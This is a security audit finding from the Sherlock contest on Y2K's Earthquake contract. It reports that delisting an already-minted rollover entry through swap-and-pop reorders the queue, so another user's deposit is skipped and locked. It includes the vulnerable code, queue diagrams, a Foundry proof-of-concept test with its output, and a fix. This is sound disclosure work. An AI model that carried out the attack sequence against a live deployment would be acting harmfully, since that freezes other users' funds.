J4de

high

# Deposits that have already been mint in the `rolloverQueue` can still be delisted, resulting in the deposits of other users not being mint

## Summary

Deposits that have already been mint in the `rolloverQueue` can still be delisted, resulting in the deposits of other users not being mint.

## Vulnerability Detail

```solidity
    function mintRollovers(uint256 _epochId, uint256 _operations)
        external
        epochIdExists(_epochId)
        epochHasNotStarted(_epochId)
        nonReentrant
    {
// --skip--
        uint256 length = rolloverQueue.length;
        uint256 index = rolloverAccounting[_epochId];
// --skip--
        while ((index - prevIndex) < (_operations)) {
// --skip--
            index++;
        }

        if (executions > 0) rolloverAccounting[_epochId] = index;
// --skip--
    }
```

`rolloverAccounting[epochId]` records the deposit that has been mint in the `rolloverQueue`. After each mint, `rolloverAccounting[epochId]` will increase.

```solidity
    function delistInRollover(address _owner) public {
// --skip--
        if (index == length - 1) {
// --skip--
        } else {
            // overwrite the item to be removed with the last item in the queue
            rolloverQueue[index] = rolloverQueue[length - 1];
            // remove the last item in the queue
            rolloverQueue.pop();
            // update the index of prev last user ( mapping index is allways array index + 1)
            ownerToRollOverQueueIndex[rolloverQueue[index].receiver] =
                index +
                1;
            // remove receiver from index mapping
            delete ownerToRollOverQueueIndex[_owner];
        }
    }
```

`delistInRollover` is used to delete data from `rolloverQueue`. When the element to be deleted is not the end of the list, the common method of deleting data is used:

1. Assign the tail element to the element to be deleted
2. call `pop`

The problem is that if the element to be deleted is before `rolloverAccounting[epochId]`, this will cause the despoit represented by the tail element to be moved to the front of `rolloverAccounting[epochId]`.

The attack steps are as follows:

1. queue at the beginning:

    ```text
    -------------------------------
     USER1 | USER2 | USER3 | USER4 
    -------------------------------
    ↑
    rolloverAccounting[epochId]
    ```

2. call `mintRollovers(_epochId, 1)`

   ```text
   -------------------------------
    USER1 | USER2 | USER3 | USER4 
   -------------------------------
          ↑
          rolloverAccounting[epochId]
   ```

3. call `delistInRollover(USER1)`

   ```text
   -----------------------
    USER4 | USER2 | USER3  
   -----------------------
          ↑
          rolloverAccounting[epochId]
   ```

4. Now USER4 is in front of `rolloverAccounting[epochId]`


This is my POC, insert it into `CarouselTest.t.sol` and run `forge test -vvv -m testJ4deAudit`.

```solidity
    function testJ4deAudit() public {
        console.log("========== print all user's address ==========");
        console.log("[test] USER address:");
        console.logAddress(address(USER));
        console.log("[test] USER2 address:");
        console.logAddress(address(USER2));
        console.log("[test] USER3 address:");
        console.logAddress(address(USER3));
        console.log("[test] USER4 address:");
        console.logAddress(address(USER4));
        console.log("==============================================");
        console.log("");
        console.log("");

        // init
        uint40 _epochBegin = uint40(block.timestamp + 1 days);
        uint40 _epochEnd = uint40(block.timestamp + 2 days);
        uint256 _epochId = 2;
        uint256 _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        vm.warp(_epochBegin - 10 minutes);
    
        helperDepositInEpochs(_epochId, USER, false);
        helperDepositInEpochs(_epochId, USER2, false);
        helperDepositInEpochs(_epochId, USER3, false);
        helperDepositInEpochs(_epochId, USER4, false);

        // Simulate user enlistInRollover 
        vm.startPrank(USER);
        vault.enlistInRollover(_epochId, 8 ether, USER);
        vm.stopPrank();
        vm.startPrank(USER2);
        vault.enlistInRollover(_epochId, 8 ether, USER2);
        vm.stopPrank();
        vm.startPrank(USER3);
        vault.enlistInRollover(_epochId, 8 ether, USER3);
        vm.stopPrank();
        vm.startPrank(USER4);
        vault.enlistInRollover(_epochId, 8 ether, USER4);
        vm.stopPrank();

        // simulate prev epoch win
        vm.warp(_epochEnd + 1 days);
        vm.startPrank(controller);
        vault.resolveEpoch(_epochId);
        vm.stopPrank();

        _epochBegin = uint40(block.timestamp + 1 days);
        _epochEnd = uint40(block.timestamp + 2 days);
        _epochId = 3;
        _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        stdstore
            .target(address(vault))
            .sig("claimTVL(uint256)")
            .with_key(2)
            .checked_write(1000 ether);

        // mintRollovers 1 operations for USER1
        console.log("mintRollovers 1 operations for USER1");
        vm.startPrank(relayer);
        vault.mintRollovers(_epochId, 1);
        vm.stopPrank();
        console.log();

        // USER1 starts destroying
        console.log("USER1 starts destroying");
        vm.startPrank(USER);
        vault.delistInRollover(USER);
        vm.stopPrank();
        console.log();

        // mintRollovers 9999 operations for all other users,
        // expects 3 users
        console.log("mintRollovers 9999 operations for all other users, expects 3 users");
        vm.startPrank(relayer);
        vault.mintRollovers(_epochId, 9999);
        vm.stopPrank();
        console.log();
    }
```

Running result:

```sh
J4de@J4de:~/Earthquake$ forge test -vvv -m testJ4deAudit
[⠃] Compiling...
[⠢] Compiling 1 files with 0.8.17
[⠘] Solc 0.8.17 finished in 5.25s
Compiler run successful

Running 1 test for test/V2/Carousel/CarouselTest.t.sol:CarouselTest
[PASS] testJ4deAudit() (gas: 1737991)
Logs:
  ========== print all user's address ==========
  [test] USER address:
  0xCCA23C05a9Cf7e78830F3fd55b1e8CfCCbc5E50F
  [test] USER2 address:
  0x0000000000000000000000000000000000012312
  [test] USER3 address:
  0x0000000000000000000000000000000000000123
  [test] USER4 address:
  0x0000000000000000000000000000000000000345
  ==============================================


  mintRollovers 1 operations for USER1
  [Carousel.sol] queue[0].receiver:
  0xCCA23C05a9Cf7e78830F3fd55b1e8CfCCbc5E50F

  USER1 starts destroying

  mintRollovers 9999 operations for all other users, expects 3 users
  [Carousel.sol] queue[1].receiver:
  0x0000000000000000000000000000000000012312
  [Carousel.sol] queue[2].receiver:
  0x0000000000000000000000000000000000000123


Test result: ok. 1 passed; 0 failed; finished in 22.57ms
```

USER4's deposit is not mint and becomes unavailable.

## Impact

Make deposits from other users no longer available.

```solidity
    modifier notRollingOver(
        address _receiver,
        uint256 _epochId,
        uint256 _assets
    ) {
        if (ownerToRollOverQueueIndex[_receiver] != 0) {
            QueueItem memory item = rolloverQueue[getRolloverIndex(_receiver)];
            if (
                item.epochId == _epochId &&
                (balanceOf(_receiver, _epochId) - item.assets) < _assets
            ) revert AlreadyRollingOver();
        }
        _;
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 amount,
        bytes memory data
    ) public override notRollingOver(from, id, amount) {
// --skip--
    }
```

And due to the reason of `notRollingOver`, the funds of the deposit can no longer be transferred.

## Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L276

## Tool used

Manual Review

## Recommendation

It is suggested that the mint despoit in the `rolloverQueue` cannot be delisted.
